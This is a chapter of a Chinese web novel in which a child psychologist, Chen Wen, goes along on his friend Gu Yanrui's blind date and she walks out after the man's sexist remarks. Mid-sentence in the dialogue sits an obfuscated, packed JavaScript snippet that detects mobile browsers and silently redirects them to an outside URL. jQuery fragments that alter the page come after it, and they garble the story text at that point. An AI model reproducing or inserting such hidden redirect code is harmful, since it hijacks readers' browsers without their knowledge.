78. 相亲

作品:《温和四季

    六年后。


    4月底的天闷热得很,心理咨询室内有淡淡的消毒水和水果糖的气味。


    男生送走最后一对来访者——一个不断道谢的母亲,和她怀里始终安静看着别处的自闭症男孩。


    “谢谢,陈医生。”女人说。


    “不客气,慢走啊。”男生脸上的微笑在门合上后,像退潮般自然渐去,只剩一点倦意。


    他的头发有些长,黑色柔软,在后颈随意地堆着点碎发。


    不似刻意修剪的狼尾,纯粹是没空打理的结果。


    下颌线很清晰,鼻梁高挺,但脸颊又留着点未褪尽的、属于年轻人的润泽感,让那份精致没那么有攻击性。


    刚转身,还没坐回椅子上,门就被叩响了两下。


    男生被声音吓得抖了一下,才说:“请进。”


    进来的是科室主任刘维民,手里捏着一份文件,直接递过来。


    “小陈,手头的工作刚结了吧?正好,给你接了个有意思的活儿。”


    陈温接过,是份简单的合作函。


    “市里那个示范园,‘青苹果幼儿园’,搞‘幼儿心理健康周’,想请我们派专家去撑几天场子。”刘维民语气的是那种“给你个好差事”的意味,“你专攻儿童跟青少年方向的,又刚有空,我就推荐了你。”


    陈温快速浏览着函件内容。


    “内容不难,”刘维民继续说,“带孩子们画画、玩玩沙盘、搞点小团体游戏。主要是观察,评估一下他们的情绪和社会性发展水平。最后给园方一份观察总结——注意啊,要温和,建设性,别吓着老师和家长。”


    “明白。”陈温点点头,目光没离开纸张。


    “哦,对了,”刘维民走到门口,又回头补了一句,忽然想起似的,“他们园长特意提了个点,想看看‘孩子在陌生规则下的适应行为’。你可以围绕这个设计点环节。园方配合度很高,你放开手脚弄。”


    “好的,刘主任。”


    “行,那你先看着。具体的事我回头发给你,没什么事的话,我就先走了。你也赶紧回去休息吧。”


    门再次关上。


    安静不过一分钟。门外传来一声:“我能进来吗?”


    “请进。”陈温将合作函放在桌,上头也没抬道。


    门应声而开,探进来一张与他年龄相仿的女生的脸。她没立刻进来,而是先在门缝里打量了一下,确认只有他一个,才像只灵巧的猫一样溜了进来,反手带上门。


    “小温温——”她拖长了调子,“下班了没呀?”


    陈温这才抬眼。


    一看清来人,他眉头立刻条件反射般蹙起,像看到了极其慌缪的一幕。


    “正准备。”他答,视线在她身上扫了个来回,“……顾言锐,你穿成这样是准备去参加戛纳电影节,还是不小心闯入了某位千金的衣帽间?”


    站在他面前的顾言锐,简直像换了个人。


    一贯的暗色系、宽松忧郁风消失无踪,取而代之的是一身剪裁得体的米白色及膝连衣裙,腰间系着细细的皮带,手里还拎着个棕色小羊皮手提包。


    连头发都精心打理过,柔顺地披在肩上。


    “啧,会不会说话?”顾言锐白了他一眼,但显然对他的反应颇为满意,甚至原地轻盈地转了小半圈,“好看吗?”


    “好看得让人怀疑你被什么优雅灵魂附体了。”陈温靠向椅背,抱起手臂,“所以,到底什么情况?终于决定放弃你的‘人间失格’美学了?”


    “唉,别提了。”顾言锐那点刻意端着的姿态瞬间垮掉一半,走到他办公桌对面,随手把手包往他桌上一搁,动作恢复了平日的随意,“昨天不是替怀孕的张主任值了个大夜吗?今天补休,结果被我妈发现了。好家伙,直接安排了个相亲,命令我‘必须去看看,给人留个好印象’。”


    陈温了然,嘴角勾起个看戏的弧度:“哦——所以这是战袍?”


    “是刑具。”顾言锐纠正道,随即身体前倾,双手撑在桌沿,眼睛忽闪忽闪地看着他,“所以,温温~”


    这声调让陈温后背莫名有点发凉。


    “打住。你相亲,找我干什么?”


    “你陪我去嘛!”顾言锐绕过来,无比自然地抓住他的手腕晃了晃,语气半是撒娇半是耍赖,“江湖救急!你去帮我掌掌眼。万一对方是个视觉灾难兼宇宙级普信男,我就说你是我男朋友什么的,当场把相亲搅黄,怎么样?你帮帮我吧。”


    陈温试图抽回手,没成功。


    他看着女生,试图从她眼里找出一丝开玩笑的痕迹。


    “顾言锐,你认真的?”


    “不然我牺牲宝贵的补觉时间,穿上这身‘刑具’是为什么?为了体验名媛的快乐吗?”她理直气壮,手上用力,直接把他从椅子上拉了起来,“快快快,别磨蹭了,去换件像样的衣服!”


    陈温被她拽得一个踉跄,无奈地看了一眼桌上尚未收拾完的文件,又看向眼前这个穿着淑女裙却干着“绑票”行径的女生。


    顾言锐是隔壁急诊科的医生。六年前那场酒局,陈温替她解围时,她还叫“小锐”。


    起初谁都没认出对方。毕竟太久远了,只有一面之缘。


    直到后来科室聚会拼桌,聊起旧事。


    顾言锐嗤笑说,小时候最烦被老爸拎出来跟人比较,幸好当时饭桌上有个陌生人的孩子,替她“报复”她老爸。


    “简直是我童年阴影里的一道光。”她说。


    陈温听着,觉得耳熟。


    过了两天,他才把记忆里那个女生,与眼前这个风风火火的急诊医生对上。


    只能说世界太小了。


    然后,渐渐成了可以携手去掏鸟蛋的朋友,当然不可能真去掏鸟蛋。


    烤肉店的烟火气与孜然香,在微热的夜晚扩散。


    陈温选了张靠外侧的塑料椅坐下,与顾言锐那桌隔开几米,又正好在她视线余光范围内。


    他点了七根烤串,展开一份不知谁遗落在桌上的旧报纸,姿态放松得像纯粹来打发时间的路人。


    目光隔着一行行铅字,落在对面。


    顾言锐的嘴角,正以肉眼可见的弧度抽搐着。


    她面前的男人——也就是今天的相亲对象——正热情地介绍着这家店的招牌肥牛,语气里充满“带你见识好东西”的自得。


    而顾言锐,那一身与周遭格格不入。


    她不是歧视这种地方。急诊科出来的人,什么场面没见过?加班到头昏眼花时,能和同事蹲在马路牙子上啃煎饼果子。


    她只是……不理解。


    出门前,她明明在微信上客气地提过一句:“我今天穿得可能稍微正式一点。”


    对方回复得飞快:“明白!放心,地方我定,保证环境优雅,特别适合聊天,一定给你安排得明明白白!”


    结果,“明明白白”就是这片油烟缭绕的烧烤摊?


    顾言锐想死的心都有了。


    她感觉到油脂分子,正欢快地附着在她精心打理过的头发和她花了小一千买的裙子上。


    陈温咬下一口烤串,慢条斯理地嚼着,回过眼神,瞥向报纸,就没离开过了。


    相亲对象长相普通,身高更是他的硬伤。


    好在聊的还行,可话题不知怎的,从烤肉的性价比滑向了更危险的领域。


    “其实吧,顾小姐,”他啜了口啤酒,用一种推心置腹的语气说,“你看现在,好多男的都娶不到老婆。为什么?女人啊,太麻烦了,眼光都高到天上去了。”


    他摇摇头,仿佛在陈述一个公认的真理。


    顾言锐捏着竹签的手指紧了紧,没说话,只是撩起眼皮看了他一眼。


    对方把这沉默当成了鼓励,身子前倾:“要我说,就该现实点,眼光放低些。像我们这样从农村靠自己奋斗出来的,踏实肯干,才是过日子的人选,对吧?”


    他话锋一转,目光带上了一丝探究:“顾小姐


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17172011|196843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是城里人,又是大医院的医生……该不会,也看不起我们这种出身吧?”


    就是这句“看不起”,成功越过了顾言锐忍耐的极限。


    她之前能忍环境嘈杂,能忍对方不太得体的高谈阔论,甚至能忍那若有若无的“女人就是麻烦”的论调。


    但“看不起”这三个字,连同他那副仿佛受了多大委屈、又带着道德审视的姿态,瞬间点燃了她的脾气。


    “放低眼光?”顾言锐放下竹签,抬眼时,目光不再是之前的忍耐,变得锐利,“什么叫放低眼光?按照你的逻辑,女人择偶就是在‘挑商品’,还得主动调低标准,去适配一个自认‘踏实’但觉得她‘麻烦’的买家?你把女人当什么了?”


    她语速不快,逻辑清晰:“麻烦?对,人是麻烦。男人不麻烦?你刚才抱怨工作上司麻烦,抱怨同事麻烦,抱怨房价麻烦,这些是不是麻烦?把‘相处需要磨合’简单归咎于一方‘麻烦’,这是解决问题,还是只想找个不抱怨的保姆?”


    对方显然没料到她的反应如此直接且咄咄逼人,脸上有些挂不住:“我不是那个意思,我就是说现在社会现象……”


    “社会现象就是,每个人都想找合心意的伴侣,不分男女。这跟农村城市有什么关系?”顾言锐打断他,极力克制着心中的怒火,“你口口声声农村奋斗,我尊重一切凭本事立足的人。但你的‘踏实’,难道就体现在要求别人‘放低眼光’来迁就你,还提前给别人扣上‘歧视’的帽子?这不是有病是什么?”


    她深吸一口气,感觉精心打扮的裙装此刻像一层滑稽的戏服。


    她受够了。她妈是从哪里给她找来的神奇宝贝?


    “至于我看不看得起你,”她站起身,拿起手包,平静道:“我现在可以明确告诉你——我看不起的,不是你的出身,是你这种一边渴望被平等对待,一边又在心里预设别人会歧视你,并且把所有不如意都简单归咎于他人‘眼光高’或‘性别麻烦’的心态。”


    顾言锐抽出几张钞票,说:“这顿饭,我请了。再见,不,是再也不见。”


    说完,她不再看对方青红交白的脸色,转身,朝着不远处那个假装看报纸的人走去。


    “走了。”顾言锐走到桌边,声音还带着没散尽的冷硬。


    陈温没应。他视线定在报纸的某一版,眉心几不可察地蹙着。


    顾言锐在他面前晃了两下手。


    “看什么呢,这么入神?”


    “……没什么。”陈温猛地回神,下意识将报纸那版折了一道。


    顾言锐眯起眼打量他。


    这种放空又带着点……怎么说,像是被遥远记忆击中的表情,她很少在陈温脸上看到。


    但现在她没心思深究,胸腔里还堵着刚才那团火。


    顾言锐一把抓住他手腕,将人从塑料椅上拉起来。


    “别发呆了,走走走,陪我去逛街。我得买点东西,净化一下被污染的心情,顺便把这身‘刑具’换了。”


    陈温被她拽着,顺从地起身,走向她那辆停在路边的、和她平日风格一样有点不拘小节的SUV。


    手里那份被折了一角的报纸,被他放回了桌面上。


    坐进副驾驶,引擎发动,街景开始向后流淌。


    顾言锐打开了车载音乐,一首节奏强劲的摇滚乐响起。


    她跟着节奏轻点着方向盘,似乎想借此把不快甩出去。


    陈温靠在椅背上,目光投向窗外飞速掠过的霓虹,脑海里回闪着刚刚报纸头版上那些加粗的黑体字:


    【捷报头版】:沈泽许与“镜界智能”宣布重大突破——成功搭建全球首个超大规模、高效率的“异构联邦计算”网络。此项技术旨在打破现有AI算力垄断……测试效能提升40%,能耗降低35%,有望重塑行业规则。


    沈泽许。


    陈温在心里念了一遍这个名字。


    六年了,好久不见。


    你过得还好吗?